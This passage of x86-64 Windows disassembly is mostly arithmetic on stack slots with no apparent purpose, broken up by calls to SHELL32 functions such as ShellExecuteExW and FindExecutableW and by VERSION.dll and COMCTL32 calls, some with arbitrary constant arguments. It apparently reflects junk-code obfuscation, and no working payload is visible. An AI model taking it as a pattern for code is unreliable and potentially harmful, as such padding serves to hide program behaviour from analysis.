mov rax, qword [rsp + 0xf498]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xdd80]
mov qword [rsp + 0xf500], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf500]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6704], eax
mov rax, qword [rsp + 0xf430]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ad8]
sub eax, ecx
mov word [rsp + 0x216c], ax
movzx eax, word [0x14019d154]
movzx ecx, word [rsp + 0x2ec4]
sub eax, ecx
mov word [0x14019f328], ax
mov rax, qword [rsp + 0xe868]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe8f0]
mov qword [rsp + 0xf508], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf508]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc488], rax
mov rax, qword [rsp + 0xf090]
movzx eax, word [rax]
mov rcx, qword [0x14019f220]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2bc0], ax
lea rdx, [rsp + 0x20890]
lea rcx, [rsp + 0xd530]
call qword [sym.imp.SHELL32.dll_SHIsFileAvailableOffline]
mov dword [rsp + 0x6f28], eax
mov rax, qword [rsp + 0xe558]
movzx eax, word [rax]
mov word [rsp + 0x30a0], ax
mov rax, qword [rsp + 0xe080]
mov rcx, qword [rsp + 0xd0d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd3f8], rax
mov rax, qword [rsp + 0xdd88]
mov rcx, qword [0x14019f158]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5e9c], eax
mov rax, qword [rsp + 0xd1e8]
mov rcx, qword [rsp + 0xf320]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd5f8], rax
mov rax, qword [rsp + 0xd180]
movsx eax, byte [rax]
movsx ecx, byte [0x14019ef97]
add eax, ecx
mov byte [rsp + 0x440], al
mov rax, qword [rsp + 0xf1f8]
movzx eax, word [rax]
mov word [rsp + 0x30a4], ax
mov rax, qword [rsp + 0xdb50]
mov qword [0x14019f628], rax
mov rax, qword [rsp + 0xe760]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe9a8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xeff8]
mov byte [rcx], al
mov eax, dword [0x14019efa8]
mov dword [rsp + 0x71a0], eax
movsx eax, word [rsp + 0xec0]
movsx ecx, word [rsp + 0x2ae8]
add eax, ecx
mov word [rsp + 0x2efc], ax
movzx eax, word [rsp + 0x2b04]
mov rcx, qword [rsp + 0xe2b0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1f40], ax
xor edx, edx
mov eax, dword [rsp + 0x6098]
div dword [rsp + 0x7010]
mov dword [rsp + 0x5c68], eax
movsx eax, byte [rsp + 0x58e]
mov rcx, qword [rsp + 0xe328]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4e6], al
mov rax, qword [rsp + 0xd110]
mov rax, qword [rax]
mov qword [rsp + 0xf510], rax
movsx eax, word [0x14019f0cc]
mov rcx, qword [rsp + 0xe558]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2ea8], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf84]
sar eax, cl
mov word [0x14019d0e8], ax
mov rax, qword [rsp + 0xe740]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14019f178]
shl rax, cl
mov qword [rsp + 0xc808], rax
mov rax, qword [rsp + 0xe4d8]
mov rcx, qword [rsp + 0xdda0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9318], rax
mov rax, qword [0x14019f5c0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xdf68]
shl rax, cl
mov qword [rsp + 0xef98], rax
mov rax, qword [rsp + 0xdb90]
movzx eax, word [rax]
mov word [rsp + 0x30a8], ax
mov rax, qword [rsp + 0xe670]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf1b0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xf2e8]
mov qword [rcx], rax
lea r9, [rsp + 0x1f7e0]
lea r8, [rsp + 0x21990]
lea rdx, [fcn.14017e790]
mov rcx, qword [rsp + 0xf518]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x6f68], eax
mov rax, qword [rsp + 0xefe0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5a8]
sar eax, cl
mov byte [rsp + 0x26d], al
mov rax, qword [rsp + 0xea98]
mov rcx, qword [rsp + 0xe1a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6f54], eax
mov eax, dword [rsp + 0x70a4]
mov ecx, dword [rsp + 0x6f60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5884], eax
mov rax, qword [rsp + 0xe820]
movzx eax, byte [rax]
mov byte [rsp + 0x5be], al
mov rax, qword [rsp + 0xe0b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2acc]
add eax, ecx
mov word [0x14019d314], ax
movzx eax, word [rsp + 0xc14]
mov rcx, qword [0x14019f060]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x10d8], ax
mov rax, qword [rsp + 0xd7f0]
movzx eax, word [rax]
mov word [rsp + 0x30ac], ax
mov rax, qword [rsp + 0xe808]
mov rcx, qword [rsp + 0xe320]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc048], rax
mov rax, qword [rsp + 0xdb10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe7f8]
mov qword [rsp + 0xf520], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf520]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xf3e0], rax
movsx eax, byte [rsp + 0x55a]
movsx ecx, byte [rsp + 0x56c]
sar eax, cl
mov byte [rsp + 0x1e8], al
mov rax, qword [rsp + 0xe1f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6eec]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x714c], eax
mov rax, qword [rsp + 0xd0b0]
movzx eax, word [rax]
mov word [rsp + 0x30b0], ax
mov rax, qword [rsp + 0xd8b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e64]
sub eax, ecx
mov word [rsp + 0x3078], ax
mov rax, qword [rsp + 0xe808]
mov rax, qword [rax]
mov qword [0x14019f630], rax
lea rax, [rsp + 0x1e94]
mov qword [rsp + 0xf528], rax
mov rax, qword [rsp + 0xb6d0]
mov rcx, qword [rsp + 0xf120]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa5f0], rax
mov rax, qword [rsp + 0xf480]
mov rcx, qword [rsp + 0xb8b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xe808]
mov qword [rcx], rax
mov rax, qword [0x14019f198]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe058]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0xd338]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x708c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6fa8], eax
lea rax, [rsp + 0x5ac4]
mov qword [rsp + 0xf530], rax
lea rcx, [rsp + 0x1f850]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [rsp + 0x6d7c], eax
movzx eax, byte [rsp + 0x282]
movzx ecx, byte [rsp + 0x15a]
shl eax, cl
mov byte [rsp + 0x4f0], al
lea rcx, [rsp + 0x1f8c0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [rsp + 0x6ce0], eax
mov rax, qword [rsp + 0xe428]
mov rcx, qword [rsp + 0xe1c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcfd8], rax
movsx eax, word [rsp + 0x300c]
movsx ecx, word [0x14019f43c]
sub eax, ecx
mov word [0x14019f450], ax
mov rax, qword [rsp + 0xdf90]
movzx eax, word [rax]
mov word [rsp + 0x30b4], ax
movzx eax, word [rsp + 0x2aa0]
movzx ecx, word [rsp + 0x3040]
xor eax, ecx
mov word [rsp + 0x3070], ax
movzx eax, word [rsp + 0x2e40]
mov word [rsp + 0x30b8], ax
mov rax, qword [rsp + 0xd488]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3e9]
and eax, ecx
mov byte [rsp + 0x519], al
mov eax, dword [rsp + 0x7170]
movzx ecx, al
mov eax, dword [rsp + 0x68b0]
shr eax, cl
mov rcx, qword [rsp + 0xdff0]
mov dword [rcx], eax
lea rax, [0x14019d210]
mov qword [rsp + 0xf538], rax
mov rax, qword [rsp + 0xe3f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe598]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x30b4], ax
movzx eax, word [rsp + 0x2b18]
movzx ecx, word [rsp + 0x2b84]
or eax, ecx
mov word [rsp + 0x225c], ax
mov rax, qword [rsp + 0xd758]
mov rcx, qword [rsp + 0xc120]
sub rcx, rax
mov rax, rcx
mov qword [0x14019f3f0], rax
mov rax, qword [rsp + 0xe740]
mov rcx, qword [rsp + 0xb6b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xeb58]
mov qword [rcx], rax
lea rax, [rsp + 0xd980]
mov qword [rsp + 0xf540], rax
mov rax, qword [0x14019f5f0]
mov rcx, qword [rsp + 0xedb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc680], rax
mov edx, 0xa9
lea rcx, [rsp + 0xe510]
call qword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [rsp + 0x6ff0], eax
movzx eax, word [rsp + 0xf5c]
mov rcx, qword [rsp + 0xf528]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c0c], ax
lea rax, [rsp + 0x7074]
mov qword [rsp + 0xf548], rax
mov rax, qword [rsp + 0xe9a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e2]
shl eax, cl
mov byte [rsp + 0x3dd], al
mov rax, qword [rsp + 0xf0b8]
movzx eax, byte [rax]
mov byte [rsp + 0x5bf], al
mov rax, qword [rsp + 0xa0a8]
mov rcx, qword [rsp + 0xe4c8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xdd08], rax
mov eax, dword [rsp + 0x69f4]
mov dword [0x14019f638], eax
movsx eax, word [rsp + 0x15b8]
mov rcx, qword [rsp + 0xe220]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xda00]
mov word [rcx], ax
movsx eax, word [rsp + 0x1578]
movsx ecx, word [reloc.SHELL32.dll_ILSaveToStream]
add eax, ecx
mov word [rsp + 0xedc], ax
movzx eax, word [rsp + 0x1be0]
mov rcx, qword [rsp + 0xd5f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b58], ax
mov rax, qword [rsp + 0xdab0]
mov qword [rsp + 0xf550], rax
mov rax, qword [rsp + 0xf488]
mov rcx, qword [rsp + 0xdd50]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7014], eax
mov rax, qword [rsp + 0xe9a0]
mov rcx, qword [rsp + 0xee48]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xea60], rax
lea rax, [rsp + 0x562]
mov qword [rsp + 0xf558], rax
mov rax, qword [rsp + 0xf008]
movsx eax, word [rax]
mov rcx, qword [0x14019f3e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2acc], ax
mov rax, qword [rsp + 0xf0b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1168]
sar eax, cl
mov word [0x14019f3c0], ax
mov rax, qword [rsp + 0xd9d0]
mov rax, qword [rax]
mov qword [rsp + 0xf560], rax
mov rax, qword [rsp + 0xf248]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xdb00]
mov word [rcx], ax
mov eax, dword [rsp + 0x6258]
mov ecx, dword [rsp + 0x7138]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xf548]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe9a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4a1]
sub eax, ecx
mov byte [rsp + 0xc2], al
mov rax, qword [rsp + 0xe850]
mov rcx, qword [rsp + 0xdb10]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xf100], rax
mov eax, dword [rsp + 0x6fb4]
mov dword [rsp + 0x71a4], eax
movsx eax, byte [rsp + 0x56c]
mov rcx, qword [rsp + 0xe7c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x144], al
movsx eax, word [rsp + 0x2fb4]
movsx ecx, word [rsp + 0x2ffc]
sub eax, ecx
mov word [rsp + 0x283c], ax
movzx eax, word [rsp + 0x2d58]
movzx ecx, word [rsp + 0x2dec]
sar eax, cl
mov word [0x14019d318], ax
mov rax, qword [rsp + 0xef80]
mov rcx, qword [rsp + 0xdfa0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xecf0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd3c8]
movzx ecx, al
mov rax, qword [rsp + 0xea40]
shl rax, cl
mov qword [rsp + 0xb138], rax
movzx eax, word [rsp + 0x2bb4]
mov word [rsp + 0x30bc], ax
movzx eax, word [rsp + 0x2a44]
movzx ecx, word [rsp + 0x3034]
xor eax, ecx
mov word [rsp + 0x2ac8], ax
mov rax, qword [rsp + 0xf3b0]
mov rax, qword [rax]
mov qword [rsp + 0xf568], rax
mov rax, qword [rsp + 0xf478]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe058]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2d4], al
mov rax, qword [rsp + 0xdc60]
mov rcx, qword [rsp + 0xdf20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x70d8], eax
mov rax, qword [rsp + 0xd298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xeb30]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc5b0], rax
mov rax, qword [rsp + 0xd9b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdc40]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14019f5e8], ax
mov rax, qword [rsp + 0xf528]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d94]
shl eax, cl
mov word [rsp + 0x1364], ax
mov rax, qword [rsp + 0xd480]
mov eax, dword [rax]
mov dword [rsp + 0x71a8], eax
movzx eax, byte [rsp + 0xa9]
movzx ecx, byte [rsp + 0x514]
sub eax, ecx
mov byte [rsp + 0x14c], al
mov rax, qword [rsp + 0x9ef8]
mov rcx, qword [rsp + 0xd380]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xba30], rax
mov rax, qword [rsp + 0xedf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5a94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6760], eax
mov rax, qword [rsp + 0xdb78]
mov rcx, qword [rsp + 0xa8f8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xec08], rax
lea rax, [rsp + 0x149]
mov qword [rsp + 0xf570], rax
mov rax, qword [0x14019f240]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d00]
add eax, ecx
mov word [rsp + 0x2a6c], ax
mov rax, qword [rsp + 0xdb00]
movzx eax, word [rax]
mov word [0x14019f63c], ax
mov rax, qword [rsp + 0xf540]
mov rax, qword [rax]
mov qword [rsp + 0xf578], rax
mov rax, qword [rsp + 0xd8e8]
movzx eax, word [rax]
movzx ecx, word [0x14019ef98]
shl eax, cl
mov word [rsp + 0x1ce8], ax
movsx eax, word [rsp + 0x2c20]
mov rcx, qword [rsp + 0xf258]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1770], ax
mov rax, qword [rsp + 0xd388]
mov rcx, qword [rsp + 0xda20]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xae70], rax
mov eax, dword [rsp + 0x6cf8]
mov ecx, dword [0x14019efb0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6454], eax
mov rax, qword [rsp + 0xea78]
mov rax, qword [rax]
mov qword [rsp + 0xf580], rax
mov rax, qword [rsp + 0xf440]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xf478]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2b5], al
movzx eax, word [rsp + 0x3050]
mov rcx, qword [rsp + 0xead0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2ed4], ax
mov rax, qword [rsp + 0xcf48]
movzx ecx, al
mov rax, qword [rsp + 0xd680]
sar rax, cl
mov qword [0x14019d320], rax
movzx eax, byte [0x14019d010]
mov byte [rsp + 0x5c0], al
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d9c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f98], eax
movsx eax, word [rsp + 0x2b64]
mov rcx, qword [rsp + 0xe3c0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1a00], ax
movzx eax, word [0x14019d198]
mov rcx, qword [rsp + 0xee18]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11f4], ax
movsx eax, byte [rsp + 0x44d]
movsx ecx, byte [rsp + 0x3c7]
sub eax, ecx
mov byte [rsp + 0x42c], al
mov rax, qword [rsp + 0x9d38]
mov qword [rsp + 0xf588], rax
mov rax, qword [rsp + 0xeba0]
mov eax, dword [rax]
mov ecx, dword [0x14019d0b0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xedf0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x3008]
movsx ecx, word [rsp + 0x1c10]
add eax, ecx
mov word [rsp + 0x11dc], ax
movzx eax, word [rsp + 0x2b2c]
movzx ecx, word [0x14019d230]
add eax, ecx
mov word [0x14019d2a4], ax
mov rax, qword [rsp + 0xf178]
mov rcx, qword [rsp + 0xd9d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbb08], rax
mov rax, qword [rsp + 0xf2c0]
mov rcx, qword [rsp + 0xed48]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc488], rax
mov rax, qword [0x14019f1d0]
mov qword [rsp + 0xf590], rax
mov rax, qword [rsp + 0xdb68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc00], ax
mov rax, qword [rsp + 0xbb00]
mov qword [rsp + 0xf598], rax
mov rax, qword [rsp + 0xe0c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd0a8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x53b], al
mov eax, dword [rsp + 0x7018]
mov rcx, qword [rsp + 0xd0d0]
mov qword [rsp + 0xf5a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf5a0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5aa8], eax
movzx eax, byte [rsp + 0x599]
movzx ecx, byte [0x14019d010]
or eax, ecx
mov byte [rsp + 0x581], al
mov rax, qword [rsp + 0xebb0]
mov rcx, qword [rsp + 0xd150]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x63c8], eax
mov rax, qword [rsp + 0xe6a0]
movzx eax, word [rax]
mov word [0x14019f640], ax
movzx eax, word [rsp + 0x307c]
mov word [rsp + 0x30c0], ax
movzx eax, word [rsp + 0xdb0]
mov rcx, qword [rsp + 0xebd0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xbf8], ax
mov rax, qword [rsp + 0xed60]
mov rcx, qword [rsp + 0x9778]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc4b0], rax
mov eax, dword [rsp + 0x7048]
mov rcx, qword [rsp + 0xe7e8]
mov qword [rsp + 0xf5a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf5a8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6dfc], eax
movsx eax, byte [rsp + 0x54b]
movsx ecx, byte [rsp + 0x461]
sub eax, ecx
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0xeef0]
mov rax, qword [rax]
mov qword [rsp + 0xf5b0], rax
movsx eax, word [0x14019d2a0]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xe828]
mov word [rcx], ax
movzx eax, word [rsp + 0x1168]
mov word [rsp + 0x30c4], ax
mov rax, qword [rsp + 0xedb0]
mov rcx, qword [rsp + 0xd2e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14019d2c8], rax
mov rax, qword [rsp + 0xd800]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8c8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c54], ax
mov rax, qword [rsp + 0xd940]
mov rcx, qword [rsp + 0xefa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x95c8], rax
mov rax, qword [rsp + 0xd408]
mov rcx, qword [0x14019f2e0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xaa00], rax
mov eax, dword [rsp + 0x5d04]
movzx ecx, al
mov eax, dword [rsp + 0x5c9c]
shr eax, cl
mov rcx, qword [rsp + 0xdbd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe960]
movzx eax, byte [rax]
mov byte [rsp + 0x5c1], al
movzx eax, byte [rsp + 0x517]
mov rcx, qword [rsp + 0xf050]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x513], al
mov rax, qword [rsp + 0xe198]
mov ecx, dword [rsp + 0x6dbc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5b5c], eax
mov r8d, 0xe3
mov rdx, qword [rsp + 0xe1d8]
mov rcx, qword [rsp + 0xf5b8]
call qword [sym.imp.SHELL32.dll_ExtractIconW]
mov qword [rsp + 0xd368], rax
mov rax, qword [rsp + 0xe670]
mov rcx, qword [0x14019d020]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb448], rax
movzx eax, word [rsp + 0x11dc]
mov word [0x14019f644], ax
movsx eax, word [rsp + 0x2d88]
movsx ecx, word [rsp + 0x3008]
sub eax, ecx
mov rcx, qword [rsp + 0xe0b8]
mov word [rcx], ax
mov rax, qword [rsp + 0xdf78]
movzx eax, word [rax]
mov word [rsp + 0x30c8], ax
movzx eax, word [rsp + 0x2c54]
movzx ecx, word [rsp + 0x2c2c]
sar eax, cl
mov word [rsp + 0xcbc], ax
mov rax, qword [rsp + 0xf1a0]
mov rax, qword [rax]
mov qword [rsp + 0xf5c0], rax
movsx eax, byte [rsp + 0x542]
movsx ecx, byte [rsp + 0x4ed]
or eax, ecx
mov byte [rsp + 0x556], al
mov rax, qword [rsp + 0xd960]
mov eax, dword [rax]
mov rcx, qword [0x14019efc8]
mov qword [rsp + 0xf5c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf5c8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5950], eax
movsx eax, word [rsp + 0x2f00]
mov rcx, qword [rsp + 0xe448]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bb4], ax
mov rax, qword [rsp + 0xf528]
movzx eax, word [rax]
movzx ecx, word [0x14019d2fc]
sub eax, ecx
mov word [rsp + 0x3048], ax
mov rax, qword [rsp + 0xe3f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xeb00]
xor rcx, rax
mov rax, rcx
mov qword [0x14019d148], rax
lea rax, [rsp + 0xb7e0]
mov qword [rsp + 0xf5d0], rax
mov rax, qword [rsp + 0xecb0]
mov rcx, qword [0x14019d0a0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xf2c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd720]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd408]
mov qword [rsp + 0xf5d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf5d8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd170], rax
movzx eax, word [rsp + 0x2bdc]
mov word [rsp + 0x30cc], ax
mov r8, qword [rsp + 0xd5b8]
mov rdx, qword [rsp + 0xf5e0]
mov rcx, qword [rsp + 0xd5b8]
call qword [sym.imp.SHELL32.dll_FindExecutableW]
mov qword [rsp + 0xdf08], rax
mov rax, qword [rsp + 0xdc70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe6d0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x56b], al
lea rax, [rsp + 0x6348]
mov qword [rsp + 0xf5e8], rax
mov rax, qword [rsp + 0xd608]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf1a0]
mov qword [rsp + 0xf5f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf5f0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc330], rax
movsx eax, byte [rsp + 0xa1]
mov rcx, qword [rsp + 0xe500]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x56c], al
mov eax, dword [rsp + 0x61d0]
imul eax, dword [rsp + 0x6894]
mov dword [0x14019d328], eax
lea rax, [rsp + 0x2f4c]
mov qword [rsp + 0xf5f8], rax
movsx eax, word [rsp + 0x2bb4]
movsx ecx, word [rsp + 0x196c]
add eax, ecx
mov word [rsp + 0x2c20], ax
mov rax, qword [rsp + 0xf3e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ed4]
add eax, ecx
mov word [rsp + 0x2194], ax
mov rax, qword [rsp + 0xb400]
mov rcx, qword [rsp + 0xd848]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9820], rax
mov rax, qword [rsp + 0xdd00]
mov eax, dword [rax]
mov dword [rsp + 0x71ac], eax
mov rax, qword [rsp + 0xf0f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6f]
or eax, ecx
mov rcx, qword [rsp + 0xeca8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc8e8]
mov rcx, qword [0x14019f120]
mov qword [rsp + 0xf600], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf600]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xadb8], rax
mov rax, qword [rsp + 0xd9b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xf4e0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1248], ax
mov rax, qword [rsp + 0xdbf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf0e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d0d0], ax
mov rax, qword [rsp + 0xe6d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd450]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xef18], rax
mov rax, qword [rsp + 0xef28]
movzx eax, word [rax]
mov word [rsp + 0x30d0], ax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x57c]
xor eax, ecx
mov byte [rsp + 0x450], al
mov rax, qword [rsp + 0xf548]
mov rcx, qword [rsp + 0xf398]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6784], eax
mov rax, qword [rsp + 0xeb40]
mov qword [rsp + 0xf608], rax
mov eax, dword [rsp + 0x68ec]
mov rcx, qword [rsp + 0xdd88]
mov qword [rsp + 0xf610], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf610]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x60d4], eax
movsx eax, byte [rsp + 0x4ec]
movsx ecx, byte [rsp + 0x45e]
or eax, ecx
mov byte [rsp + 0x42e], al
lea rax, [rsp + 0x7024]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xcde8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x700c]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1f3f0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xf618]
mov r8, qword [rsp + 0xddf0]
mov rdx, qword [rsp + 0xddf0]
xor ecx, ecx
call sub.VERSION.dll_VerFindFileW
mov dword [rsp + 0x6cb8], eax
movsx eax, word [rsp + 0x24b8]
movsx ecx, word [rsp + 0x2bac]
shl eax, cl
mov word [rsp + 0x2b00], ax
mov rax, qword [rsp + 0xd8e8]
movzx eax, word [rax]
mov word [0x14019f648], ax
mov rax, qword [rsp + 0xd650]
mov rcx, qword [rsp + 0xe538]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x96d0], rax
lea rax, [rsp + 0xd128]
mov qword [rsp + 0xf620], rax
mov rax, qword [rsp + 0xecc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe148]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a84], ax
mov rax, qword [rsp + 0xd7f0]
movzx eax, word [rax]
mov word [rsp + 0x30d4], ax
movsx eax, byte [rsp + 0x5a1]
movsx ecx, byte [rsp + 0x3cc]
add eax, ecx
mov byte [rsp + 0x27f], al
mov r9d, 0xdc
mov r8d, 0x20
mov edx, 0xa5
